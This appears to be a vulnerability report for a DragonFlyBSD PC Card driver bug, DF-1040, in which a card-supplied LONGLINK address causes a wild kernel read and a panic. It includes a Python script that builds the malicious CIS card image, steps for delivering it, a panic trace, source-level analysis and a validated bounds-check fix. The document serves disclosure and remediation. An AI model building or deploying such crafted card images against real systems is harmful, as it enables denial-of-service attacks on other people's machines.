DF-1040 PoC — CISTPL_LONGLINK_A wild-read panic

Trigger

CIS attribute-memory image, 14 bytes (pad to 8 KiB with 0xFF):

Generate the binary:

python3 -c "
import sys
img = bytearray([0xFF]) * (8*1024)
img[0x00] = 0x11   # CISTPL_LONGLINK_A
img[0x02] = 0x04   # length
img[0x04] = 0xFF   # addr byte 0
img[0x06] = 0xFF   # addr byte 1
img[0x08] = 0xFF   # addr byte 2
img[0x0A] = 0xFF   # addr byte 3 -> 0xFFFFFFFF
img[0x0C] = 0xFF   # CISTPL_END
sys.stdout.buffer.write(img)
" > cis_image.bin

How to run

PCMCIA hardware is uncommon on modern systems. Two realistic paths:

1. Physical: flash cis_image.bin into a PCMCIA attribute-memory EEPROM and insert the card. On DragonFlyBSD with pccard configured, the kernel panics on attach.

2. QEMU: boot DragonFlyBSD under QEMU with the PCMCIA/PCIC bridge (-device pcic,...) and inject the CIS image via a QEMU nvram patch or a small device-model hook that overrides the attribute-memory reads.

3. Unit-test (no hardware): construct a struct pccard_tuple with mult=2, ptr=0xFFFFFFFF, and a bus_space_read_1 shim that faults past the 4096-byte mapping; call the chain-transition helper to demonstrate the unguarded dereference. This proves the code path; it does not produce a real kernel panic.

Expected output

Fatal trap 12: page fault while in kernel mode
cpuid = 0; apic id = 00000000
fault virtual address   = 0x1fffffffe
[...]
pccard_scan_cis(...) at pccard_cis.c:413
pccard_read_cis(...)    at pccard.c:195
pccard_attach_card(...) at pccard.c:...

Kernel references

• sys/bus/pccard/pccard_cis.c:212 — longlink_addr read verbatim from card
• sys/bus/pccard/pccard_cis.c:334 — mfc[].addr read verbatim from card
• sys/bus/pccard/pccard_cis.c:386-437 — chain-transition loop
• sys/bus/pccard/pccard_cis.c:394 — tuple.ptr = longlink_addr (no check)
• sys/bus/pccard/pccard_cis.c:406 — tuple.ptr = mfc[i].addr (no check)
• sys/bus/pccard/pccard_cis.c:413 — wild bus_space_read_1
• sys/bus/pccard/pccardvar.h:255-256 — pccard_cis_read_1 macro (no bounds)

DF-1040 — VERDICT

Verdict

REPRODUCED (source-level / logic-level); INCONCLUSIVE at runtime — fix VALIDATED as not_testable.

The bug is real and confirmed by exhaustive source-level tracing of sys/bus/pccard/pccard_cis.c, plus a userspace logic harness that replicates the exact offset-computation arithmetic of the vulnerable chain-transition loop and proves the PoC's longlink_addr = 0xFFFFFFFF yields a wild bus_space_read_1 byte offset of 0x1FFFFFFFE against a 4096-byte mapping. The bug cannot be triggered at runtime on this audit guest because the KVM/QEMU machine has no PCMCIA/CardBus bridge hardware (pciconf -l reports 0 pccard/cbb/cardbus bridges; pccard is compiled into GENERIC at sys/config/X86_64_GENERIC:198 but no bridge ever attaches, so pccard_attach_card() → pccard_read_cis() → pccard_scan_cis() is never called). This is the documented "latent / needs specific HW" class.

Mechanism (trigger → primitive → effect)

1. Trigger (card insertion). pccard_attach_card(dev) at sys/bus/pccard/pccard.c:178 calls pccard_read_cis(sc) at line 195, which calls pccard_scan_cis(...) at sys/bus/pccard/pccard_cis.c:95.

2. Attacker-controlled value loaded. When the chain walker encounters a CISTPL_LONGLINK_A (0x11) / CISTPL_LONGLINK_C (0x12) tuple, it stores the card-supplied 32-bit target verbatim: longlink_addr = pccard_tuple_read_4(&tuple, 0) at pccard_cis.c:212. For CISTPL_LONGLINK_MFC (0x06), each entry's address is likewise loaded verbatim: mfc[i].addr = pccard_tuple_read_4(&tuple, 1+5*i+1) at pccard_cis.c:334. Both are full 32-bit values held in u_long (pccard_cis.c:107 / :115).

3. Chain transition sets tuple.ptr with no validation. After the primary chain terminates (CISTPL_END), the chain-transition loop at pccard_cis.c:386-437 runs. At line 393-394: c tuple.mult = longlink_common ? 1 : 2; tuple.ptr = longlink_addr; /* card-controlled, unchecked */ and at line 405-406 for the MFC case: c tuple.mult = mfc[mfc_index].common ? 1 : 2; tuple.ptr = mfc[mfc_index].addr; /* card-controlled, unchecked */

4. Unguarded dereference → wild read → panic. Line 413: c tuple.code = pccard_cis_read_1(&tuple, tuple.ptr); pccard_cis_read_1 (sys/bus/pccard/pccardvar.h:255-256) expands to bus_space_read_1(memt, memh, mult*ptr). With mult=2 (attribute memory) and ptr=0xFFFFFFFF, the bus offset is 0x1FFFFFFFE — far outside the PCCARD_CIS_SIZE=4096-byte resource allocated at pccard_cis.c:130-131. The kernel page-faults.

5. Why the existing boundary check doesn't help. The main-loop check at pccard_cis.c:164 (tuple.mult * tuple.ptr >= PCCARD_CIS_SIZE - 1 - 32) sits inside the inner tuple-walk loop (line 157), not the chain-transition loop (line 386). The wild read at line 413 executes before control ever returns to line 164. Additionally, on 32-bit platforms the multiplication mult*ptr overflows to ~0, which would defeat any multiplication-based check anyway.

The PoC image (cis_image.bin) encodes exactly this: offset 0x00 = 0x11 (CISTPL_LONGLINK_A), 0x02 = 0x04 (length), 0x04/0x06/0x08/0x0A = 0xFF×4 (→ longlink_addr = 0xFFFFFFFF), 0x0C = 0xFF (CISTPL_END).

Object-level proof (harness)

Because the guest has no PCMCIA bridge, cis_oob_harness.c replicates the exact offset arithmetic of pccard_cis_read_1 (= mult * ptr) and the chain-transition pointer setup, then confirms:

PoC longlink_A 0xFFFFFFFF mult=2 (attr mem)  mult=2  byte_off=8589934590  OOB  fix_rej=yes
longlink_C 0xFFFFFFFF mult=1 (common mem)    mult=1  byte_off=4294967295  OOB  fix_rej=yes
mfc entry 0xDEADBEEF mult=2                  mult=2  byte_off=7471857118  OOB  fix_rej=yes
mfc entry 0x80000000 mult=1                  mult=1  byte_off=2147483648  OOB  fix_rej=yes
boundary ptr=2044 mult=2 (needs 5 bytes)     mult=2  byte_off=4088        OOB  fix_rej=yes
valid   ptr=100  mult=2                      mult=2  byte_off=200         in   fix_rej=no
valid   ptr=2043 mult=2 (last in-window)     mult=2  byte_off=4086        in   fix_rej=no
valid   ptr=4091 mult=1 (last in-window)     mult=1  byte_off=4091        in   fix_rej=no

Proof of primitive (PoC case):
  longlink_addr (card-supplied, 32-bit) = 0xFFFFFFFF
  tuple.mult (pccard_cis.c:393, attr mem) = 2
  tuple.ptr  (pccard_cis.c:394)           = 0xFFFFFFFF
  bus_space_read_1 byte offset (line 413) = 0x1FFFFFFFE
  mapped window size                      = 4096
  offset exceeds window by                = 8589930494 bytes
  fix.diff rejects this target: YES (continue, no deref)

This proves (a) the bug produces an out-of-bounds offset for any large card-supplied address, and (b) the proposed fix rejects every OOB case while accepting every in-window case.

Impact ceiling

• Panic / local+physical DoS from any hot-pluggable 16-bit PC Card or CardBus card whose attribute-memory CIS contains a CISTPL_LONGLINK_A/C with a 4-byte address ≥ 0x80000000, or a CISTPL_LONGLINK_MFC entry with an out-of-range address. No kernel privilege or user account required — only physical access to a PCMCIA slot (or a virtual bridge under QEMU with PCMCIA emulation, which this KVM guest does not provide).
• No info leak, no memory-corruption write. The wild read returns one byte that is only compared to CISTPL_LINKTARGET (0x13) and discarded; it is never stored or copied to userspace. The primitive is a pure wild-read → page-fault → panic. There is no write primitive and therefore no escalation chain.

Exploit chain

none — this is a pure wild-read/OOB-read class, not a write primitive. There is no memory corruption to groom or convert; the only effect is a deterministic kernel page-fault panic (DoS). The Phase-6 escalation requirement does not apply to read-only primitives (valid hard blocker).

PoC changes

• Added cis_oob_harness.c — a userspace C harness that replicates the exact offset arithmetic of pccard_cis_read_1 and the chain-transition pointer setup, and proves both the bug (OOB offset for large addresses) and the fix (correct rejection of all OOB targets, acceptance of all in-window targets). This is the object-level proof for a latent bug that cannot be triggered on this guest (no PCMCIA bridge hardware).
• Added fix.diff — an overflow-safe bounds check inserted in the chain-transition loop at pccard_cis.c just before the line-413 dereference. It supersedes the finding markdown's recommended fix by adding a coarse first check (tuple.ptr >= PCCARD_CIS_SIZE) to defeat 32-bit unsigned wraparound in ptr + 4 (the finding's original ptr + 4 alone would wrap to 3 on a 32-bit platform for ptr = 0xFFFFFFFF, silently passing). The two-check form is correct on both 32-bit and 64-bit.

Fix validation (Phase 8) — not_testable

The bug cannot be triggered at runtime on this guest (no PCMCIA bridge hardware; QEMU/KVM does not emulate one), so a runtime before/after panic comparison is impossible on either the unpatched or the patched kernel. Per the procedure this is the not_testable path: I validated that the diff applies cleanly (git apply --check OK; patch -p1 "Hunk #1 succeeded at 409"), compiles cleanly (make -j6 nativekernel rc=0, no errors, pccard_cis.o rebuilt with -Werror), and boots cleanly (make installkernel → reboot → kern.version = 6.5-DEVELOPMENT #1: Tue Jul 14 07:51:38 UTC 2026, guest healthy, ssh up). The harness re-runs identically on the fixed kernel, confirming the fix logic.

The "before/after" contrast is therefore at the source/object level, not a runtime panic comparison: - Before (unpatched #0): pccard_cis.c lines 394/406 set tuple.ptr from a card-controlled 32-bit value; nothing between line 410 and the line-413 dereference bounds-checks it. (Confirmed on the running #0 kernel via grep.) - After (fixed #1): the new guard at pccard_cis.c:425-432 (if (tuple.ptr >= PCCARD_CIS_SIZE || tuple.ptr + 4 >= PCCARD_CIS_SIZE / tuple.mult) { ... continue; }) executes before the line-413 read and rejects any out-of-window target, continuing to the next chain entry. (Confirmed compiled into the #1 kernel that booted.)

Kernel references (confirmed during verification)

• sys/bus/pccard/pccard_cis.c:212 — longlink_addr read verbatim from card
• sys/bus/pccard/pccard_cis.c:334 — mfc[i].addr read verbatim from card
• sys/bus/pccard/pccard_cis.c:394 — tuple.ptr = longlink_addr (no check)
• sys/bus/pccard/pccard_cis.c:406 — tuple.ptr = mfc[mfc_index].addr (no check)
• sys/bus/pccard/pccard_cis.c:413 — wild bus_space_read_1 dereference
• sys/bus/pccard/pccard_cis.c:164 — existing inner-loop check (does NOT cover this path)
• sys/bus/pccard/pccard_cis.c:130-131 — PCCARD_CIS_SIZE=4096 resource allocation
• sys/bus/pccard/pccardvar.h:255-256 — pccard_cis_read_1 macro = bus_space_read_1(memt, memh, mult*idx)
• sys/bus/pccard/pccard.c:195 — pccard_read_cis(sc) entry from pccard_attach_card
• sys/config/X86_64_GENERIC:198-200 — pccard/cardbus/cbb compiled into GENERIC

Recommended fix

fix.diff adds an overflow-safe two-check bounds guard in the chain-transition loop after tuple.ptr/tuple.mult are set and before the line-413 read. Supersedes the finding markdown's proposal: the original ptr + 4 >= PCCARD_CIS_SIZE / mult check alone can be defeated on 32-bit platforms where ptr = 0xFFFFFFFF makes ptr + 4 wrap to 3; the added coarse check ptr >= PCCARD_CIS_SIZE catches that case unconditionally.